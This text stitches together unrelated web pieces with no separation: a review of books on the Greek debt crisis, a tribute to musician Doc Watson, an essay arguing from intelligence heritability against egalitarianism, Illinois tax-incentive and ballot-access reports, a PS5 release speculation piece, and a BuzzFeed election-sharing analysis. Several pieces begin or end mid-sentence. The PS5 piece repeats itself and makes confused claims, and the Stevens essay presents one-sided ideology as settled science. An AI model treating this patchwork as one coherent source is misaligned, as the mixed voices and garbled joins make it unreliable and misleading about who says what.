This is the picture that emerges in the valuable collection of essays Oikonomiki krisi kai Ellada (The Economic Crisis and Greece). The volume was published in 2011 by the newly founded Scientific Society for Political Economy and reflects the powerful revival of Marxist theory in Athens in the midst of the crisis. The approach can also be followed in English through the work of Athens University professor Yanis Varoufakis, whose The Global Minotaur, also from 2011, attributed the chief cause of the 2008 financial crisis to the systemic breakdown of the postwar model of international capital accumulation. Oikonomiki krisi kai Ellada contains an abundance of data and arguments that illuminate the nature of postwar democratization in Greece.
In what is perhaps the volume’s outstanding essay, the economist George Stathakis (recently elected to Parliament with the left opposition Syriza) makes an intriguing observation: he suggests that the austerity programs mandated by the troika from 2010 onward are best seen as the latest in a series of stabilization programs that date to the mid-1980s. All of them have attempted to solve the country’s economic woes by cutting spending and slashing wages, and all have failed—not because they haven’t been adequately implemented, but because, based as they were on neoliberal dogma, they have misdiagnosed the disease and prescribed the wrong medicine. In Greece, it is easier to cut spending than to raise the proportion of state revenues derived from direct taxes on individual incomes, which currently languishes at roughly half the European average. The post-junta transition to democracy, says Stathakis, created a deliberately engineered system of legalized tax exemption for vast swaths of the population. It is the dearth of state revenue, more than the eye-catching issue of corruption per se, that forms the country’s main political challenge. In the 1980s, Greece expanded its national healthcare system and its higher education—but far from spending too much on these things, it didn’t spend enough to guarantee proper services. At the same time, it spent very heavily on weapons: Greece is proportionally one of the biggest arms purchasers in the world. If we compare the Greek fisc with the European average, spending is well in line with the norm; it is the revenue that falls short.
Although these problems emerged in the 1980s, most of the contributors to Oikonomiki krisi kai Ellada focus instead on the decisions made in the 1990s and thereafter, when Greece moved away from the drachma-based, relatively autarkic economic model that Andreas Papandreou had supported to a more globally integrated form of development that would require closer integration with Europe. Read together, several contributions to the volume offer a serious critique of Papandreou’s generally respected successor, the reform-minded Costas Simitis, who led the country (and Pasok) between 1996 and 2004. A veteran of an earlier stabilization program (as well as a sober contrast with the demagogic, leather-jacketed Papandreou), Simitis took it as his mission to modernize the country and make it a full member of the new eurozone. The benefits of joining the single currency would, in the view of his team, more than compensate for the austerity that would have to be imposed to cleanse the Greek economy of its inflationary tendencies.
Indeed, the monetary and fiscal discipline that convergence to the euro demanded was considered a good thing in itself. From the perspective of most of the contributors to Oikonomiki krisi kai Ellada, however—who are well to the left of Simitis, and even more critical of the new reformist Pasok than they are of the radical, statist original—Simitis’s policies amounted to a marketization of the Greek economy far more sweeping and effective than anything carried out by the conservatives of New Democracy. There’s no doubt that privatization really got under way with Simitis, and that as downward pressure eroded wages (abetted by the influx of large numbers of migrants), the government and Pasok created close new ties to the business and financial sectors. There was little structural transformation of production, but Greek firms exploited the new Balkan hinterland, establishing bank branches in Romania and Turkey. This was the dream: Greece as a Balkan Singapore, a European financial hub in the Levant. The precondition: entry into the euro, which eventually took place thanks to some creative accounting. The seemingly happy result: the country’s annus mirabilis of 2004, in which it won the European soccer championship and successfully hosted the Olympic Games.
* * *
Yet the underlying problems of the economy not only remained unresolved; they were about to become much worse. Financial globalization, easy access to European and international funds, and large state disbursements combined to create the perfect conditions for a new, deeply unhealthy interpenetration of the state and the private sector. It was not true that Greek-style neoliberalism meant a weakening of the role of the state. On the contrary, while some sectors of Greek society were getting worse off, the state (and behind it, the ruling party) was cozying up to new bedfellows like Goldman Sachs, the few large Greek banks that emerged triumphant from the mergers and takeovers of the 1990s, and foreign telecommunications and armaments firms.
It is perhaps only now that the true dimensions of the Siemens corruption scandal unfolding during these years can be appreciated. Long established in Greece, the Munich-based manufacturing giant—with sales amounting to $96 billion in 2010–11—supplied the country’s telephone and radio networks, ran the capital’s traffic signals and streetlights, and enjoyed a close and lucrative relationship with the spectacularly money-losing state railways as well as with the military. In 2005, Greece began an inquiry into the security system that Siemens was supposed to have put in place for the Olympic Games the previous year. Shortly thereafter, an investigation by the US Justice Department brought to light a worldwide pattern of corruption by Siemens executives. One of the Greek politicians involved is the Pasok veteran and former Defense Minister Akis Tsochatzopoulos. In April 2012, even as popular outrage over the scandal was exacerbated by the misery of austerity, Tsochatzopoulos was photographed being led away in handcuffs from his central Athens mansion to face charges of money laundering. But his was not an isolated case: Siemens appears to have had numerous politicians from both parties on its payroll. The company’s chief executive in Greece, Mihalis Christoforakos, fled the country in May 2009; he was arrested in Germany and ordered jailed by a Munich court later that year. After paying a large fine to secure his release, Christoforakos has since disappeared from public view.
The Siemens case not only reveals the close connections between German business and Greek politicians; it also confirms how deeply the rot of corruption spread into the privatization process and state procurement policy in general. But as several of the authors in Oikonomiki krisi kai Ellada stress, an even bigger problem than corruption and money laundering is the fiscal irresponsibility of the Greek state itself. Siemens was ideologically neutral, paying off politicians on the left and right alike. But on the larger issue of budget policy, ideology was a bankable asset, and the Simitis era looks like a model of probity and common sense when set against the New Democracy government that followed it between 2004 and 2009.
The scope of the damage done in these years can be gleaned from Sozetai o Titanikos? (Can the Titanic Be Saved?), written by the economist Nikos Christodoulakis, a former finance minister under Simitis. The title refers to an unfortunate remark made at the onset of the crisis by George Papakonstantinou, who was finance minister at the time (and was recently expelled from Pasok after charges of malfeasance): he compared his task to “trying to change the course of the Titanic.” Christodoulakis argues that the real damage was done on New Democracy’s watch; naturally, he claims that Greek finances were in good shape when the Simitis government fell in 2004, which the contributors to Oikonomiki krisi kai Ellada would dispute. But Christodoulakis is on much stronger ground in attacking New Democracy’s record. At least under Simitis, revenue growth outstripped increases in spending. Under his successor Karamanlis, the opposite happened: an even more business-friendly government lost all interest in boosting tax collection and eased off on several sources of revenue for the sake of encouraging entrepreneurs to invest. The result was not a business boom but a splurge on Porsches, fancy yachts and mega-villas with huge swimming pools on water-starved Greek islands.
It was a lot worse than that, however. With very bad timing, the government proceeded to go on a pre-election spending binge at exactly the moment that the global financial system went into meltdown. Christodoulakis is surely right that it was the policy decisions made by the Karamanlis government in 2008 and 2009, and not those made any earlier, that left the country horribly exposed when the sentiment suddenly shifted in the international money markets and the credit ratings agencies took fright. Even after the first ratings downgrade, the Karamanlis government poured “petrol on the flames” in 2009 by passing an extraordinarily lax budget as well as by its handling of the banking crisis: forcing sound banks to take government assistance and thereby exacerbating the debt problem. In short, the sheer irresponsibility of the 2009 budget was almost designed to cause the country serious problems abroad.
Like several former Pasok members, Christodoulakis doesn’t spare the rod when analyzing the actions of the incoming government of the time. George Papandreou was late, he charges, in sizing up the scale of the problem, and his team was both excessively alarmist in its public announcements to its European partners and excessively complacent with the Greek public. For Christodoulakis, the prime minister was out of his depth: the Pasok founder’s much less charismatic heir, “Georgaki” kept promising all things to all people, buffeted between the reformers and the restive currents of the so-called “deep Pasok,” which wanted a return to full-throated support for the public sector.
Straight out of the Syriza playbook, but nonetheless interesting for all that, is 22 Pragmata pou mas lene yia tin elliniki krisi kai den einai etsi (22 Things They Tell Us About the Greek Crisis That Aren’t So). Recalling Ha-Joon Chang’s 23 Things They Don’t Tell You About Capitalism (2010), Christos Laskos and Euclid Tsakalotos’s book sets about dispelling some common myths concerning the Greek economy. The authors score a number of direct hits: Greek productivity levels are not particularly low, and Greek export volumes grew quickly after 1995. The Greek state is not especially large, and there is little evidence for any “crowding out” of private investment. They also underscore the profoundly inegalitarian impact of the privatization and financialization that got underway with Simitis: in a relatively short period, Greece has moved from being one of the most equal societies in Europe to one of the most unequal. And as they rightly point out, many of the criticisms leveled at Greece (deindustrialization, the reluctance to improve revenue collection or raise taxes) are problems found across the developed world and not peculiar to that country. The implication here is that the troika’s medicine will not work—not only because it has tipped the economy into a self-defeating recession that ensures old targets will be missed time and time again, but more fundamentally because the troika’s pro-business, anti-labor approach ignores some vital truths: that the country needs more taxes paid by businesses and the wealthy, not less, and that productivity growth will not come unless there is much more investment (both public and private) in research and development.
At the start of the crisis, Panagiotis Roumeliotis was chosen by Papandreou to be Greece’s representative to the IMF, mostly on the strength of his longtime friendship with Dominique Strauss-Kahn, then the organization’s head. In To agnosto paraskinio tis prosfygis sto DNT: Pos kai yiati ftasame sto Mnimonio (The Unknown Background to the Flight to the IMF: How and Why We Arrived at the Memorandum), Roumeliotis provides a blow-by-blow account of his experiences as well as a revealing chronicle of the IMF’s role in the crisis. Strauss-Kahn comes off well, sympathetic to the Greeks and immediately worried about the larger implications. The Europeans come off badly: fractious, slow to respond. Merkel simply does not get it for a very long time, causing the Americans in particular much aggravation. The book lays bare the ideological shift taking place inside the IMF: the Russian, Chinese and Brazilian delegates are all sympathetic because they have so little confidence in what once passed as the Washington Consensus. In this respect, the IMF’s approach to the Greek crisis may well prove the harbinger of a new kind of institutional response in the future. But for the moment, we shouldn’t make too much of it, because the traditional prescription was dispensed nonetheless: cutting wages (as though this were the magic road to improved productivity and competitiveness); fostering entrepreneurship by eliminating red tape, no matter the likely environmental results; and focusing on spending cuts rather than raising taxes to improve the health of public finances. The main difference between Strauss-Kahn and the other Europeans was over the length of time it would take Greece to return to something like financial stability; on much of the prescription itself, they seem to have agreed.
Unlike the Europeans, the IMF, with its more global perspective, was at least willing to admit that German balance-of-payments surpluses were as much a cause of the eurozone’s basic problems as Greek deficits. (Currently topping China’s, the German surpluses—accumulated throughout the crisis and showing no signs of diminishing—simply siphon capital from the impoverished, indebted periphery to the wealthy eurocore, and testify to the debtors’ inability to earn their way back to solvency anytime soon. And the currency union prevents competitive devaluations, thus making the latter’s recovery even harder to bring about.) As Keynes enjoys a revival internationally, commentators are returning to his original conception of the IMF, back at Bretton Woods in 1944, as a value-free agent righting the global disequilibrium in trade and capital flows that, as he understood it, capitalism invariably creates. We must probably wait until after the German election later this year to see whether the penny has dropped in Berlin; but until then, the chorus denouncing the German surpluses is likely to grow louder, and Roumeliotis’s book adds further confirmation that since early 2010, the crisis has been deepened as much by German policies as by Greek ones.
* * *
Never mind the balance of payments, some may say, what about the endless personal catastrophes in Greece: the soaring suicide rate, the rising human toll of stress and despair brought on by humiliation, unemployment, sheer helplessness? The individual suffering caused by these mistaken policies can easily be overlooked by academic economists, but it is also grist for the literary mill—in fact, it is hard for Greek writers today not to reflect, in one way or another, on the despair and malaise.
A mordant account of the spreading unemployment and unrelenting weariness of living through the crisis at a daily level is provided by journalist Christoforos Kasdaglis in his Anonymoi chreokopimenoi (Anonymous Bankrupts), a collection of sketches published in 2012 that charts his response to the news and to his own lack of paid work. “Powered by” is a piece that enumerates the commodities he consumed during the production of the book: one Japanese laptop, seventy-seven Italian espresso capsules, 184 packets of English tobacco, Dutch rolling paper, an American-made jeep, a German TV, a Swedish radio, American clothes and a pair of Spanish-made shoes, plus pharmaceuticals from Britain, France, Germany and elsewhere. It’s as pithy an encapsulation of the Greek consumption problem as one could find (consumption soared between 2000 and 2008, in line with the rise in incomes fueled by capital inflows), and an instantaneous refutation to those observers—fewer now than a year ago—who are still calling for Greece to quit the euro and go it alone.
In an interview with himself, Kasdaglis stresses one of the key differences between the present circumstances and World War II. At least then, he reflects, there was enormous hope and pride to set alongside the suffering. Now all one can do is write in the hope of finding some way out of hopelessness—but looking at his country’s leaders, this is not easy. George Papandreou is “the boy with the PlayStation”—the toy in his case being Pasok, the party he inherited, and perhaps Greece itself. Kasdaglis asserts that Antonis Samaras of New Democracy—the opposition leader at the time he was writing—is a demagogue who, the author predicts, will backtrack on all his criticisms of the government the minute he is in power. (Since becoming prime minister in June, Samaras has done Kasdaglis the favor of confirming his predictions.) The interim prime minister, economist Lucas Papademos, is a decent technocrat who, on account of his former role shepherding Greece into the eurozone, must be considered one of the architects of the mess. At the same time, the author, in his mid-50s, is just old enough to remember the junta and wants to remind younger readers of what a genuine dictatorship is. The current political climate, for all its absurdities and problems, is not a dictatorship, and Greeks should not confuse it with the junta, even as the smell of tear gas wafting across central Athens takes Kasdaglis back to the days of the Polytechnic uprising at the end of 1973 and causes him to wonder whether the police have changed at all.
In one of his concluding sketches, Kasdaglis outlines what he calls a series of “bankruptcy scenarios.” He is unpersuaded by the inquiring minds of the commentariat urging Greece to go the Argentina route into default: they ignore the many differences between the two countries and eras. Nor is he much enamored of Syriza, and although he says little about it, his criticisms of the new kinds of populism seem directed at its youthful leader, Alexis Tsipras, who has soared in the polls on the basis of a campaign that promised the best of both worlds: staying in the euro and repudiating the foreign-imposed austerity program. Instead, he goes on:
There is one version of bankruptcy that I find attractive. We rethink our lives together, our priorities and our models of consumption. We reorganize our production on the basis of our needs and not profit. We return to the land with greater concern for, and orientation towards organic cultivation…. Poorer materially, richer in emotions and outlook, with less rivalry and more love and mutual understanding.
It is a dream many share. But they also share Kasdaglis’s hesitation: Where is the necessary leadership, the political will? The old is discredited; new forces, perhaps new generations, are needed but have not yet made their mark. Meanwhile, the idiocy seems boundless—in Greece and across Europe.
Kasdaglis can hardly be accused of indulging in pessimism: in the current climate, pessimism seems perfectly reasonable. But perhaps the pessimism has a generational tinge. The crisis varies sharply in its impact on young and old, and when one turns to the attitudes of those who came of age not during the junta and the early years after it, the metapolitefsi, but amid the collapse of the Berlin Wall, one finds a very different and in some ways startlingly energized outlook. This sounds paradoxical, given that it is often those now entering the job market who are suffering the worst, but young people seem more enthusiastic and less tormented by the collapse of old categories, and the evidence for this is everywhere. A relatively elevated example would be the film boom that has brought Greek cinema international attention through the works of youthful directors like Athina Rachel Tsangari, Yorgos Lanthimos and Syllas Tzoumerkas. But one might want to point to the revival of anarchism and the so-called antiexousiastikoi (anti-state) as well. There is also, it must be said, a strong generational tinge to the emergence of neofascism.
Then there is fiction. Kati tha ginei, tha deis (Something Will Happen, You’ll See) is a gripping collection of short stories published in 2010 that was awarded the State Prize for Literature and has become a bestseller. Its author, Christos Ikonomou, has already been hailed in the Italian press as a “Greek Faulkner,” a description that conveys the emotional power but not the restraint or precision of his prose. Roaming restlessly through the impoverished working-class quarters located off the tourist routes in the urban sprawl between Athens and Piraeus, the large port southwest of the capital, Ikonomou’s stories convey the plight of those worst affected by the crisis—laid-off workers, hungry children. Everyone is dreaming of escape: to the mountains, to an island or a palatial estate, into a Hans Christian Andersen story world. What are they fleeing? The old woes—gossip, watchful neighbors, the oppression and indifference of the rich—now made infinitely worse. In Ikonomou’s concrete streets, the rain is always looming, the politicians’ slogans are ignored, and the police remain a violent, threatening presence offstage. Yet even at the edge of destitution, his men and women act for themselves, trying to preserve what little solidarity remains in a deeply atomized society, and in one way or another finding their own voice. There is faith here, deep faith—though little or none in those who habitually ask for it.
The voice of this new generation— realistic, searching for a source of enthusiasm—can be found elsewhere, too. In the pages of a new journal, Levga (League), named in homage to Jules Verne’s Twenty Thousand Leagues Under the Sea, one comes across sharp questioning of what “reform” has meant in Greece these past forty years. Launched in March 2011, Levga has published nine issues filled with criticism of yesterday’s “modernisers” and their continued attempts to present themselves as the nation’s saviors. But one finds in its pages little time for the modernizers’ radical critics either: the Slavoj Zizeks, Alain Badious and their Greek epigones. The members of a Green generation, Levga’s writers and editors question whether the latest back-to-the-land impulse can be an adequate answer to the problems of capitalism in an era when advanced democracies cannot sustain more than 5 percent of their workforce in the countryside without massive subsidies. They see the indispensability of political mobilization and are rightly contemptuous of TED-style “debates” that reduce the country’s problems to ones of branding and connectivity; they sympathize with organized labor but dissect the historical roots of its malfunction in Greece. There are no answers here, but neither can they be found anywhere else. Levga is a source of fresh, very clear thought—and with it, some reasons to hope against hope.
Last year, Ari Paul wrote about the rise of the radical left in Greece.I’m not a religious man but I would like to have a word with god. I’d look up at his cloudy beard and steel-blue eyes and say “Stop.” I’m tired of writing posts sending off out legends. Scruggs, Helm and now Watson.
Men who’s storied careers shines a glaring light of authenticity and richness on the current music industry of glib irony and planned obsolesce. Where AutoTune and beats take precedence over song-craft and instrumental dexterity.
A vascular disease Arthel Lane (Doc) Watson as an infant left him blind for life. He drank in the musical styles and lore from his family and became prolific on the harmonica. then at 10 he took up the banjo his father had crafted for him. By the time he was in his teens he settled on the guitar, the instrument he helped to revolutionize touring the folk circuit with his flat-picking virtuosity.
I’ve never attended MerlFest, the annual music festival held the last weekend in April in Wilkesboro, North Carolina named in honor of Watson’s only son, Eddy Merle Watson, who died in a farm tractor accident in 1985.
Over it;s 24-year history on the four-day festival’s 14 stages you could have see some of bluegrass, folk and country music’s greats – Dolly Parton, Willie Nelson, Earl Scruggs, The Kruger Brothers, Emmylou Harris, Jerry Douglas, John Prine, Alison Krauss and Union Station. You would have also caught some of roots and Americana music’s shining stars -Gillian Welch, the Carolina Chocolate Drops, The Avett Brothers, Old Crow Medicine Show, coming up in the ranks. You would have also seen genre-crossers like Robert Plant, Elvis Costello and Linda Ronstadt making the pilgrimage to stretch their boundaries and pay their respects.
The festival always concluded with Doc holding court performing music of the ages with humility, spirituality and grace.
Of the dozens of artist I’ve seen perform at the roots festival Hardly Strictly Bluegrass over the last three years, three artists rose above the rest by emodying the ages and representing a deep musical legacy the other musicians on the bill drew from – Hazel Dickens, Ralph Stanley and Doc Watson.
Thank you Doc for sharing your gift with the world.by Brett Stevens on December 13, 2012
Since 1789, when the French peasants stormed the Bastille and overthrew their monarchic government, the West has been defined by the idea of equality.
The idea had been gathering steam since The Enlightenment, but even before that, it had risen as the population of unskilled labor rose. The point was: now that we have this society, how about sharing the wealth and power?
It was hard for people to say no. After all, when it’s your great-great-great-grandfather who was one of the founders of your civilization, you don’t have an immediate claim to it. It seems like an accident of birth.
And yet here lies one of nature’s grim truths. We are not self-created. In fact, we are our heritage. On top of this, we make choices, and either advance ourselves or regress, but we didn’t start at zero. No one did.
Not only that, we’re not all going to end up going through life at the same rate. Some will be richer, some poorer. Some will have great talents, others moderate abilities, and still others only basic abilities but an ability to apply them in varying degrees.
General intelligence is an important human quantitative trait that accounts for much of the variation in diverse cognitive abilities. Individual differences in intelligence are strongly associated with many important life outcomes, including educational and occupational attainments, income, health and lifespan. Data from twin and family studies are consistent with a high heritability of intelligence, but this inference has been controversial. We conducted a genome-wide analysis of 3511 unrelated adults with data on 549 692 SNPs and detailed phenotypes on cognitive traits. We estimate that 40% of the variation in crystallized-type intelligence and 51% of the variation in fluid-type intelligence between individuals is accounted for by linkage disequilibrium between genotyped common SNP markers and unknown causal variants. These estimates provide lower bounds for the narrow-sense heritability of the traits. – “Genome-wide association studies establish that human intelligence is highly heritable and polygenic”, by Gail Davies, et al.
Carefully read those words. Intelligence, like most other factors of ability, is heritable. Our society has dedicated itself to denying that heritability of traits exists, all for the simple reason that we want to be equal. Wishful thinking has even infected most science to the point where we deny the obvious.
At that realization, we encounter a conflict between the two great forces in human history: wishful thinking and intuition. Intuition tells us that there is a wisdom to inequality, in that it keeps our system in flux and in motion. Wishful thinking contradicts this, and posits a heaven-cum-black-friday where everything is free and everyone is equal, thus only peace and happiness exist.
Never mind for a moment that this state of existence would be crushingly boring. Never mind that it assumes that people are all rational because to an irrational or criminal person, it would be a cornucopia of victims. Let’s look at what this actually wishes for: a lessening of the existential challenge.
Underneath all of the bluster, and righteous moral posturing, liberalism is fundamentally about dropping out of life. It is a desire to use collective morality to legislate away the challenges of life, instead of fixing those challenges so they are not bloated with human stupidity and thus become more fair and less time-consuming.
It is not surprising that wishful thinking creates a heaven that is in fact a hell. Wishful thinking denies all that is sacred to life, and in doing so, converts us all to servants of the great collective desire to avoid existential challenge. It’s like a mass retreat that claims it’s “progress.”
As our society gets over this most recent economic crisis, we should stop thinking about band-aids to the various institutions we have. While there are problems there, the problem isn’t there. It’s here, in the human breast. We must restore our heroism, face our existential challenges, and retreat from egalitarianism and its morally filthy wishful thinking.
Please enable JavaScript to view the comments powered by Disqus.* From the Illinois Policy Institute…
Earlier this year Texas Gov. Rick Perry wrote a letter to Illinois’ businesses and individuals trying to sell them on a move to Texas. The sales pitch was simple — it wasn’t tax credits, grants or sweetheart deals. The sales pitch was this — Texas doesn’t have an income tax.
As we learned yesterday, ADM pays next to no state income tax. That’s why it wants an EDGE tax credit. Lowering the company’s tax rate wouldn’t provide ADM with the money it wants to locate its new world headquarters and tech center in Chicago.
* I don’t like these “incentives” much, particularly when it involves moving a company from one part of Illinois to another.
But we need to focus on facts and not simple-minded ideology as this debate goes forward - and it will go forward. The state tax rate means little to nothing to ADM.
Zurich North America explained to the House Revenue Committee yesterday that insurance companies don’t pay corporate income taxes. They pay a different sort of tax. ZNA wants an EDGE credit to move its headquarters less than a mile within Schaumburg to a TIF district.
The tax rate did, however, mean something to CME, which loudly threatened to pull out of Chicago. But even there, the story I’m told is that some complicated tax changes took effect without CME taking notice and its tax burden went way up.
* The other easy way out is the liberal perspective that this “corporate welfare” must absolutely end. Yet, for the most part, we hear nothing about truly reforming workers’ comp laws from that crowd - and workers’ comp costs are far more likely to send companies to other states than corporate taxes.
* And while the two extremes debate, Texas, Florida, Indiana, Wisconsin, etc. are all trying to poach our companies. Maybe you don’t care. But we need jobs here, man. And considering our national reputation - even though some of it is undeserved - it’s crystal clear that business execs ain’t keen on coming here and/or expanding here without some state help.
* Almost never mentioned is our low entrepreneurial rate here. We have a climate that simply doesn’t encourage innovative startups, unless those startup folks have some insider knowledge or help. As just one example, restaurants in Chicago have such a powerful lobby that the city had to impose ridiculous limits on food trucks. The overly restrictive medical marijuana law is another. We’re just too afraid of change.
* What we need is a sane, rational, but innovative tax and regulatory system here.
The fracking law shows that this is possible. All sides came together and we should soon |
2013 and the delay of 6 years may augur fruit, analysts say.
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The analyst went a step further and predicted that the PS5 would allow games that are played on the PS4, the PS4 Pro and the PS VR. Backward-compatibility is not unheard of. The Xbox One S is also backwards compatible. This feature is also an omnipresent one when it comes to general computer software. The term is simple and universally applicable. We run Windows XP operating system files on Windows 10 all the time. The same is now set to be true of the Playstation 5. We have reason enough to celebrate in other ways too. Apple has also brought back the popular PS2 game “Bully” to iOS and Android in honour of the game’s tenth anniversary. By the end of 2019 4K screens will have become more popular and this year will see the release of mainstream VR HMD products. Current consoles are not powerful enough to take advantage of those technologies.
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Michael Pachter is a video game and digital and social media analyst at Wedbush Securities and he is said to be a leading expert on such modern advances in technology, albeit a controversial one. He has quoted by technical journals as saying that the PS5 would release in 2019 and that by 2020, the Microsoft XBox next-generation console and the PS5 would co-exist in the same ecosystem. We do not subscribe to his views but we do not discount them either. Pachter believes that the average gaming console has a life-cycle of 7 years and by that estimate, a 2020 release date does sound likely.
We have other reasons to believe why a 2019 or 2020 date for the PS5 is serious stuff. By the end of 2019 4K screens will have become more popular and this year will see the release of mainstream VR Head Mounted Displays and other VR products. Current consoles are not powerful enough to take advantage of these technologies. Users must have noticed that GPUs have not improved greatly in recent years with no major jumps until this year. The standard 28nm manufacturing process was replaced by the 14 and the 16nm process. We saw the HBM 2.0 for both NVIDIA and AMD and the full introduction of DirectX 12 games and many other features. Essentially, consoles are going to very far behind our personal computers by the end of this year. The console manufacturing majors, Sony, Microsoft and Nintendo, need to up their game if they wish to stay relevant in the face of these new and some very unexpected challenges.Political debate on Facebook is being dominated by dozens of incredibly viral news stories in support of Jeremy Corbyn, despite the Conservatives holding a massive lead in national opinion polls, according to the first edition of the BuzzFeed News Social Barometer.
The most shared stories about the general election during the first fortnight of the campaign have been overwhelmingly positive about the Labour leader. By contrast, the only stories regarding Theresa May and the Conservatives that have gone viral are negative.
The Social Barometer attempts to track which election-related stories are being shared by users on Facebook and will be updated weekly throughout the election. The methodology behind the ranking has been published online and the findings will be updated weekly – with an attempt to categorise the sentiment of each piece.
Many of the most viral stories are from non-mainstream sites, showing the growing influence of the new group of alt-left media outlets that have surged in popularity since the election of Corbyn as Labour leader.
However, it also suggests that many Conservative supporters are reluctant to publicly share positive articles about their party on social media – but are very happy to vote Tory in the privacy of the polling booth.
The split may also reflect the different age profile of the two parties' supporters and the extent of their social media usage.
The most popular political article during the first two weeks of the election campaign was entitled "How many of Jeremy Corbyn's policies do you actually disagree with?" from the blog AnotherAngryVoice and was shared almost 80,000 times.
This was closely followed by a guide to anti-Conservative tactical voting hosted on the image-sharing site infogr.am. A post on The Canary with the headline "In only 72 hours, young people show they could have a nasty surprise in store for Theresa May" also made the top five, which was completed by two links – one liveblog and one comment piece – from The Guardian.
In total, six of the 20 most-shared election-related links on Facebook during the first fortnight of the election were from media sources that sit well outside the mainstream media.A recent federal appeals court decision struck down the requirement that minor parties offer a full slate of candidates for statewide or countywide offices, while another court battle looms.
On a windy Sunday in October, Josh Dill spent the afternoon gathering petition signatures for a Democratic candidate for Congress, Dr. David Gill.
Dill, a Springfield resident, has knocked on doors for Democratic and third-party candidates. That includes when he ran for Congress under a new party, the Lincoln Liberty Party, in 2014. The reaction from people answering the door is usually the same whether he’s petitioning for a Democrat or third party, he says.
“Most of the people that vote all the time are interested in options (on the ballot),” he says. The challenge for third party hopefuls is that they’re required to get significantly more signatures than Democrats or Republicans, he adds.
For legislative and Congressional races, the threshold for minor-party candidates is 5 percent of the total votes cast in the last election for that race, while candidates for the two major parties each need half of one percent.
Illinois is one of the more restrictive states when it comes to rules for candidates not affiliated with the two major parties. A recent federal appeals court decision loosened one restriction, striking down the requirement that minor parties offer a full-slate of candidates for statewide or countywide offices.
Weeks later, the same court upheld the state’s higher petition signature requirement for minor-party and independent candidates, noting the 5 percent rule is within the constitutionally accepted limit on candidates.
Ballot access advocates and third-party members count the full-slate decision as a victory and potential turning point. They’ll have another day in court in 2018 to make their case against the signature requirement. Meanwhile, some political observers believe the increasingly polarized political landscape could benefit from more participation by third parties and independents.
In September, the Seventh Circuit Court of Appeals upheld a lower court’s decision that the full slate requirement was unconstitutional. The ruling would make the law unenforceable, according to an Illinois State Board of Elections attorney. That means if the Libertarian Party has a candidate for governor, it’s not required to also have a pick for secretary of state, attorney general, treasurer and comptroller.
Third party and independent candidates in Illinois have different filing deadlines and a higher number of petitions they have to collect to get on the ballot. In this week’s Illinois Issues in-depth report, Mary Hansen explains a recent change in the rules for third parties and the ongoing debate about where to draw the line for candidates who are neither Democrats nor Republicans.
The state could appeal the decision. The attorney general’s office declined to comment on the case, including whether it would file an appeal.
Lex Green, chair of the Libertarian Party in Illinois, was a defendant in the case. In the past, the party struggled to recruit candidates for some races, he says. There’d be a member interested in running for governor, but then the party would have to look for a qualified pick for attorney general or secretary of state.
“We've had to recruit heavily and convince someone to be a candidate in name only,” Green says. “[Now] we can concentrate on effective races.”
Illinois is the only state to have such a restriction. The rule was put into place in the early 1930s when the state had a cumulative voting system.
In the Libertarian Party case, the state argued that the restriction promotes political stability and avoids ballot overcrowding and voter confusion.
In the court’s opinion, Circuit Judge Diane Sykes wrote that the full-slate rule actually encourages ballot overcrowding by having third parties put forward “frivolous ‘candidates.’” The opinion goes on to say that the signature requirement “suffices to winnow out weak parties.”
The Seventh Circuit sided with the state in October, upholding the constitutionality of the signature threshold for minor parties. Two Green Party members from southern Illinois who ran for state legislature in 2014 contended that the requirement and 90-day period to collect it, as well as what they said was unfair redistricting, infringed on their rights to run for office.
The state countered that Green Party candidates had met the requirements in the two previous elections. And in its opinion, the court noted that comparing the threshold for minor parties to that for major parties is comparing apples to oranges, as major parties already proved they had support by getting at least 5 percent of the votes cast in the previous election.
But third-party members and ballot access advocates continue to see it as overly burdensome.
“The number of signatures is so out of whack with the rest of the country,” says Richard Winger, who publishes a newsletter on ballot access nationwide. He notes that the requirement is so stringent, few candidates have been able to meet it.
There should be reasonable restrictions for running for office, contends former Illinois State Board of Elections executive director Ron Michaelson. He points to the problem of ballot fatigue - when there are so many races and candidates that voters fail to fill out the entire ballot.
“If you let all these new parties and independents, regardless of whether they had a modicum of strength or not, on the ballot … you’d have more ballot fatigue,” Michaelson says.
The question is where to draw the line. He says Illinois’ rule for minor party candidates running for statewide office to get five times the number of signatures is “unfair” and “burdensome.” The system should be opened up, he says.
“Something's got to happen to give us a jolt and get us back on an even keel, a more rational way of doing things,” Michaelson says. “Maybe this is one thing that can help that along.”
There are other ways to make it easier for third parties to get on the ballot than lowering the signature quotas. The state could provide another process for a minor party to qualify as an “established” party, thus having to comply with the same, less stringent requirements as the Democratic and Republican parties do now, Winger says.
Illinois is one of 11 states that qualifies parties only if they meet a vote threshold in the previous election. The Prairie State requires a gubernatorial candidate from a new party to get at least 5 percent of the total votes cast for that office to qualify as an established party in the next election. The Illinois Green Party met that threshold in 2006 when Richard Whitney ran for governor, but it was not able to maintain established party status.
By contrast, Wisconsin allows a new party to petition to become established by collecting 10,000 signatures from registered voters, including at least 1,000 from three separate congressional districts. Illinois’ neighbor to the north currently has five qualified parties, while Illinois has two.
North Carolina, a state notable for its restrictive ballot access laws, recently changed its rules for establishing a party. It now allows parties that had a presidential candidate on the ballot in at least 35 states to become established.
Winger says the change shows opening up the ballot could come from legislatures instead of the courts.
“I'm optimistic,” he says. “We're seeing legislatures all over the country decide that overly strict ballot access laws are not good policy.”
Illinois legislators have made attempts. Early this year, state Sen. Kyle McCarter, R-Lebanon, introduced a bill to make the signature requirements the same for an established or new party candidate.
In 2014, state Sen. Andy Manar, D-Bunker Hill, offered similar legislation. Neither bill got a vote.
In the partisan culture of Springfield, Michaelson predicts change will come from the courts.
“The two major parties in the legislature, they haven't shown a lot of enthusiasm in recent years to make it easier for other candidates, other parties to access the ballot,” Michaelson says.
Ballot access advocates will have another chance to prove their point. Gill, a Democrat running for Congress in the 13th District, collected signatures to run as an independent for that seat in 2016. After a challenge over the validity of some of those signatures, and mounting a legal case challenging the number requirement, he dropped out of the race. His case goes to trial in September 2018.
Even if it were easier to get on the ballot, political science research shows that only a handful of third-party candidates end up winning elections, says Brian Gaines, a professor at the Institute of Government & Public Affairs at the University of Illinois Urbana-Champaign.
“It’s generally true that the availability of ballot access for small parties in states where it’s been easier – on the whole – they haven’t won a lot of seats. They have put a lot more candidates forth,” Gaines says. “Sometimes they act like spoilers.” That is, they pull votes from Democrats or Republicans.
He points to the 2000 presidential election when Green Party candidate Ralph Nader’s presence on the ballot was blamed for losing then-Vice President Al Gore the election. But Gaines emphasizes that voters then had reasons for supporting Nader and did so even with the knowledge that it could have cost Gore the win.
Still, the idea that minor candidates swing elections is a central reason some Democrats and Republicans defend ballot restrictions.
